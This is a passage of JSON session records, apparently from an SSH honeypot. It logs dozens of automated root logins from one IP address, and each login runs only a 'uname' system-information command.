  "ended_at": "2026-08-26T06:40:13.242408+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "566457f6-191d-4312-afd6-ca9a399e1eb7",
  "name": "blithe-grassy-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50430,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:40:04.344754+00:00",
  "ended_at": "2026-08-26T06:40:07.930030+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0b01baed-c81c-46fb-80dd-e46879b383df",
  "name": "dappled-tender-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:39:55.927108+00:00",
  "ended_at": "2026-08-26T06:39:59.892004+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b062a8f3-80a0-4ffc-9ce2-63de804fd61e",
  "name": "amber-graceful-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:39:47.794143+00:00",
  "ended_at": "2026-08-26T06:39:52.482858+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9e21cc26-bb33-4b77-92f5-42052f3a274f",
  "name": "lawful-quartz-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:39:44.218065+00:00",
  "ended_at": "2026-08-26T06:39:48.362158+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac346207-be52-4921-9869-35d044a0be87",
  "name": "quartz-plush-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 33586,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:39:12.908496+00:00",
  "ended_at": "2026-08-26T06:39:16.643846+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d660bd08-bea0-4bf1-a858-f2faf3e1b95f",
  "name": "burly-serene-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48002,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:39:01.066296+00:00",
  "ended_at": "2026-08-26T06:39:03.758768+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "886b9a04-8195-4d99-9dba-133610739a24",
  "name": "civil-velvet-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54912,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:38:45.618393+00:00",
  "ended_at": "2026-08-26T06:38:48.805292+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "69d2041b-5557-4a0f-91c6-d7b31afdbde0",
  "name": "diligent-opal-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40108,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:38:44.956425+00:00",
  "ended_at": "2026-08-26T06:38:49.366129+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5960705f-f3c7-49b0-b011-decdc7b54593",
  "name": "downy-austere-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 51082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 249,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:38:29.850743+00:00",
  "ended_at": "2026-08-26T06:38:32.840490+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ca93f6a-a5b7-420f-ac56-15c4afaa5809",
  "name": "humble-vaulted-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48622,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:38:12.536041+00:00",
  "ended_at": "2026-08-26T06:38:17.233356+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9100214b-9a1b-4eb8-b8cf-cac89ba575f9",
  "name": "tender-loyal-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:37:36.894081+00:00",
  "ended_at": "2026-08-26T06:37:40.779765+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c6fcb8fd-ae28-4d52-b2a6-6c54c52f1df6",
  "name": "dusky-fearless-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 42540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 236,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:37:27.280357+00:00",
  "ended_at": "2026-08-26T06:37:30.636052+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4d47209c-e8d6-42d9-89b3-00022961aad9",
  "name": "alpine-quaint-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 216,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:37:17.454582+00:00",
  "ended_at": "2026-08-26T06:37:23.673481+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f7da6d18-5a55-4dee-886b-f2bcfdd97e0c",
  "name": "sunlit-barren-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44818,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:37:08.680047+00:00",
  "ended_at": "2026-08-26T06:37:13.422141+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8304ff63-b88f-4048-afdf-f6abd6446e3d",
  "name": "curious-fearless-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 46870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:36:53.572446+00:00",
  "ended_at": "2026-08-26T06:36:57.059030+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "42b5b150-07f6-4118-9301-7a8ed2468dc7",
  "name": "gnarled-weathered-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:36:37.885406+00:00",
  "ended_at": "2026-08-26T06:36:42.168042+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "09805db8-e131-4cbb-b295-3c819d58b0db",
  "name": "loyal-fierce-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37054,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:36:34.166421+00:00",
  "ended_at": "2026-08-26T06:36:38.413922+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "49429fc4-077c-4d11-8102-ef7497ff4751",
  "name": "crimson-tawny-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44362,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:35:51.736945+00:00",
  "ended_at": "2026-08-26T06:35:55.231383+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7c892f62-2a18-44ef-b0be-e395c693dc1e",
  "name": "woven-slender-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:35:39.240739+00:00",
  "ended_at": "2026-08-26T06:35:44.110998+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e2e8cca1-82ee-46e5-be08-ebe3bebc7026",
  "name": "quaint-hazy-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 33894,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:34:39.346003+00:00",
  "ended_at": "2026-08-26T06:34:42.953526+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "92a0fa3e-89db-4878-aca1-bb1692b22043",
  "name": "chilly-fearless-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:34:36.186336+00:00",
  "ended_at": "2026-08-26T06:34:40.691734+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "395f01c9-d946-4e9c-9003-851760328011",
  "name": "thorny-mindful-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:33:36.544964+00:00",
  "ended_at": "2026-08-26T06:33:41.986655+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "39584d21-1c4b-4389-a8b3-a8b5c14c5cd2",
  "name": "dapper-rapid-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 45156,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:33:15.817932+00:00",
  "ended_at": "2026-08-26T06:33:20.110472+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "256aa51b-ada7-40ea-98c5-bfa91bd502b6",
  "name": "fleeting-stormy-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54048,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:32:51.883940+00:00",
  "ended_at": "2026-08-26T06:32:55.898441+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3be68833-4f93-448f-8419-dfaa0eae0267",
  "name": "salty-buoyant-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55004,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:32:29.095515+00:00",
  "ended_at": "2026-08-26T06:32:33.291143+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f16b7652-5505-4f2c-8364-2ab0ad373708",
  "name": "frosty-quartz-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:32:28.932871+00:00",
  "ended_at": "2026-08-26T06:32:32.884431+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b661e265-2db1-4c67-903c-57ce72112b33",
  "name": "proud-graceful-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56442,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:32:07.024794+00:00",
  "ended_at": "2026-08-26T06:32:10.516303+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "79025bf8-83ff-45b1-b7e6-b1c678a39bad",
  "name": "pleasant-painted-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 52994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:31:51.842968+00:00",
  "ended_at": "2026-08-26T06:31:54.633490+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e3e0faa5-4644-4d55-b213-3b64d6852bdc",
  "name": "hearty-marbled-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39118,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:31:23.152567+00:00",
  "ended_at": "2026-08-26T06:31:27.315058+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0104703d-bc57-4f77-8611-0099fca1bd75",
  "name": "stoic-sturdy-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 42600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:31:06.893378+00:00",
  "ended_at": "2026-08-26T06:31:10.620206+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2f74e8df-87d9-4aef-b6ea-9b45fa0c98bc",
  "name": "seaward-grumpy-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40464,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:30:54.910348+00:00",
  "ended_at": "2026-08-26T06:30:59.464740+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "681c3ade-21f5-41f8-b375-cff89860f39a",
  "name": "wiry-slender-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59550,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:30:36.452068+00:00",
  "ended_at": "2026-08-26T06:30:40.416694+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1949f89f-b4aa-4914-954d-5831b5d53504",
  "name": "tawny-boreal-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:30:02.317567+00:00",
  "ended_at": "2026-08-26T06:30:05.747694+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "63980450-d4bc-406d-9deb-519454beceed",
  "name": "noble-grumpy-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:29:55.515384+00:00",
  "ended_at": "2026-08-26T06:30:01.605095+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2580390a-2596-490a-b550-fb5f697c62ac",
  "name": "knotted-brave-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 46566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:29:46.450564+00:00",
  "ended_at": "2026-08-26T06:29:50.554545+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7f4bc258-69a5-4f22-939b-2a0213b250c7",
  "name": "amber-silent-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59528,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:29:31.473878+00:00",
  "ended_at": "2026-08-26T06:29:35.348789+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "80f1eac8-adf6-4436-b453-ae6519a15d44",
  "name": "dappled-barren-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56126,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:29:17.559394+00:00",
  "ended_at": "2026-08-26T06:29:20.553388+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aadfd449-083c-4857-b8b5-cf9a24732d4e",
  "name": "gallant-fringed-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48970,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:28:58.583152+00:00",
  "ended_at": "2026-08-26T06:29:01.654552+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b3292745-c44f-4d8f-8e92-f4b7aceec708",
  "name": "quaint-valiant-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48920,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:28:55.504278+00:00",
  "ended_at": "2026-08-26T06:29:01.376490+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "82d80f16-1f56-438f-84b2-85d5d26f0d2b",
  "name": "noble-windswept-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 41974,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:28:11.592109+00:00",
  "ended_at": "2026-08-26T06:28:15.764645+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "73c70120-79ff-426b-a6f2-7f8349959e64",
  "name": "proud-hidden-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:27:53.100832+00:00",
  "ended_at": "2026-08-26T06:27:57.808755+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d0715abf-4b1e-47fc-98b9-d0e49669f0c1",
  "name": "primal-civil-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:26:40.100960+00:00",
  "ended_at": "2026-08-26T06:26:46.032390+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2d445f93-00c9-4e5f-806d-acd7fa645e44",
  "name": "stoic-nimble-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58812,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:26:29.659637+00:00",
  "ended_at": "2026-08-26T06:26:33.421292+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "37966986-ff8f-453f-8bdd-84dc288f124f",
  "name": "forlorn-twilight-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38796,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:26:12.587457+00:00",
  "ended_at": "2026-08-26T06:26:17.406522+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c1c4e3e2-e95e-45ad-9f4e-72ed920b9981",
  "name": "proud-nautical-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 187,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:25:55.370895+00:00",
  "ended_at": "2026-08-26T06:25:58.760276+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9b4f095a-4fa3-4d8c-9fc7-9caad1cc22d8",
  "name": "fleeting-thawing-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35700,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:25:42.312155+00:00",
  "ended_at": "2026-08-26T06:25:46.091854+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e96e9953-a10c-42ac-a4af-32e272bbada7",
  "name": "opal-earnest-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 34948,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:25:02.460545+00:00",
  "ended_at": "2026-08-26T06:25:06.482561+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5b7a538e-c6e7-4530-b6c4-da2fb21ea655",
  "name": "alpine-wistful-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39148,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:24:48.989099+00:00",
  "ended_at": "2026-08-26T06:24:52.789265+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "931d1fce-17e7-4745-a039-1beeafe25d46",
  "name": "tawny-grassy-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:24:45.640170+00:00",
  "ended_at": "2026-08-26T06:24:49.693740+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "80419608-6e90-438c-a55c-74c094cee8cf",
  "name": "blithe-courtly-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:24:33.367341+00:00",
